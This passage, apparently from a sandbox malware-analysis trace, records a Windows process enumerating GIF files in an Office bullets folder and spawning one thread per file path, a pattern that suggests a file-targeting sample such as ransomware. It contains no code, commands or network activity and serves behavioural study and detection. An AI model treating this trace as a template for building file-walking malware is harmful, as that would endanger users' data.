Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" [0057.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4395c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0057.892] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0057.892] wcscmp (_String1="BD10266_.GIF", _String2=".") returned 1 [0057.892] wcscmp (_String1="BD10266_.GIF", _String2="..") returned 1 [0057.892] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438e08 [0057.892] wcscpy (in: _Dest=0x438e08, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.892] wcscat (in: _Dest=0x438e08, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.893] wcscat (in: _Dest=0x438e08, _Source="BD10266_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" [0057.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0057.894] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0057.894] wcscmp (_String1="BD10267_.GIF", _String2=".") returned 1 [0057.894] wcscmp (_String1="BD10267_.GIF", _String2="..") returned 1 [0057.894] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439068 [0057.894] wcscpy (in: _Dest=0x439068, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.894] wcscat (in: _Dest=0x439068, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.894] wcscat (in: _Dest=0x439068, _Source="BD10267_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" [0057.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0057.895] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0057.895] wcscmp (_String1="BD10268_.GIF", _String2=".") returned 1 [0057.895] wcscmp (_String1="BD10268_.GIF", _String2="..") returned 1 [0057.895] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439198 [0057.895] wcscpy (in: _Dest=0x439198, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.895] wcscat (in: _Dest=0x439198, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.895] wcscat (in: _Dest=0x439198, _Source="BD10268_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" [0057.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0057.896] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0057.896] wcscmp (_String1="BD10297_.GIF", _String2=".") returned 1 [0057.897] wcscmp (_String1="BD10297_.GIF", _String2="..") returned 1 [0057.897] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439230 [0057.897] wcscpy (in: _Dest=0x439230, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.897] wcscat (in: _Dest=0x439230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.897] wcscat (in: _Dest=0x439230, _Source="BD10297_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" [0057.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0057.898] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0057.898] wcscmp (_String1="BD10298_.GIF", _String2=".") returned 1 [0057.898] wcscmp (_String1="BD10298_.GIF", _String2="..") returned 1 [0057.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x439658 [0057.898] wcscpy (in: _Dest=0x439658, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.898] wcscat (in: _Dest=0x439658, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.898] wcscat (in: _Dest=0x439658, _Source="BD10298_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" [0057.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x439658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0057.899] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0057.899] wcscmp (_String1="BD10299_.GIF", _String2=".") returned 1 [0057.899] wcscmp (_String1="BD10299_.GIF", _String2="..") returned 1 [0057.899] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438cd8 [0057.899] wcscpy (in: _Dest=0x438cd8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.899] wcscat (in: _Dest=0x438cd8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.899] wcscat (in: _Dest=0x438cd8, _Source="BD10299_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" [0057.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c4 [0057.900] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0057.900] wcscmp (_String1="BD10300_.GIF", _String2=".") returned 1 [0057.900] wcscmp (_String1="BD10300_.GIF", _String2="..") returned 1 [0057.900] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438c40 [0057.900] wcscpy (in: _Dest=0x438c40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.900] wcscat (in: _Dest=0x438c40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.900] wcscat (in: _Dest=0x438c40, _Source="BD10300_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" [0057.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48 [0057.901] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0057.901] wcscmp (_String1="BD10301_.GIF", _String2=".") returned 1 [0057.901] wcscmp (_String1="BD10301_.GIF", _String2="..") returned 1 [0057.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438ba8 [0057.901] wcscpy (in: _Dest=0x438ba8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.901] wcscat (in: _Dest=0x438ba8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.902] wcscat (in: _Dest=0x438ba8, _Source="BD10301_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" [0057.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb30 [0057.903] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0057.903] wcscmp (_String1="BD10302_.GIF", _String2=".") returned 1 [0057.903] wcscmp (_String1="BD10302_.GIF", _String2="..") returned 1 [0057.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438b10 [0057.903] wcscpy (in: _Dest=0x438b10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.903] wcscat (in: _Dest=0x438b10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.903] wcscat (in: _Dest=0x438b10, _Source="BD10302_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10302_.GIF" [0057.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb2c [0057.904] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0057.905] wcscmp (_String1="BD10335_.GIF", _String2=".") returned 1 [0057.905] wcscmp (_String1="BD10335_.GIF", _String2="..") returned 1 [0057.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438a78 [0057.905] wcscpy (in: _Dest=0x438a78, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.905] wcscat (in: _Dest=0x438a78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.905] wcscat (in: _Dest=0x438a78, _Source="BD10335_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10335_.GIF" [0057.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438a78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb28 [0057.906] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0057.906] wcscmp (_String1="BD10336_.GIF", _String2=".") returned 1 [0057.906] wcscmp (_String1="BD10336_.GIF", _String2="..") returned 1 [0057.906] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4389e0 [0057.906] wcscpy (in: _Dest=0x4389e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.906] wcscat (in: _Dest=0x4389e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.906] wcscat (in: _Dest=0x4389e0, _Source="BD10336_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10336_.GIF" [0057.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4389e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb24 [0057.907] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0057.907] wcscmp (_String1="BD10337_.GIF", _String2=".") returned 1 [0057.907] wcscmp (_String1="BD10337_.GIF", _String2="..") returned 1 [0057.907] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438948 [0057.907] wcscpy (in: _Dest=0x438948, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.907] wcscat (in: _Dest=0x438948, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.907] wcscat (in: _Dest=0x438948, _Source="BD10337_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10337_.GIF" [0057.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb20 [0057.908] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0057.909] wcscmp (_String1="BD14513_.GIF", _String2=".") returned 1 [0057.909] wcscmp (_String1="BD14513_.GIF", _String2="..") returned 1 [0057.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4388b0 [0057.909] wcscpy (in: _Dest=0x4388b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.909] wcscat (in: _Dest=0x4388b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.909] wcscat (in: _Dest=0x4388b0, _Source="BD14513_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" [0057.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4388b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb1c [0057.910] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0057.910] wcscmp (_String1="BD14514_.GIF", _String2=".") returned 1 [0057.910] wcscmp (_String1="BD14514_.GIF", _String2="..") returned 1 [0057.910] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x438818 [0057.910] wcscpy (in: _Dest=0x438818, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.910] wcscat (in: _Dest=0x438818, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.910] wcscat (in: _Dest=0x438818, _Source="BD14514_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" [0057.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x438818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb18 [0057.912] FindNextFileW (in: hFindFile=0x440f20, lpFindFileData=0x4b80c8 | out: lpFindFileData=0x4b80c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0057.912] wcscmp (_String1="BD14515_.GIF", _String2=".") returned 1 [0057.912] wcscmp (_String1="BD14515_.GIF", _String2="..") returned 1 [0057.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4386e8 [0057.912] wcscpy (in: _Dest=0x4386e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0057.912] wcscat (in: _Dest=0x4386e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0057.912] wcscat (in: _Dest=0x4386e8, _Source="BD14515_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF") returned="C:\\Program 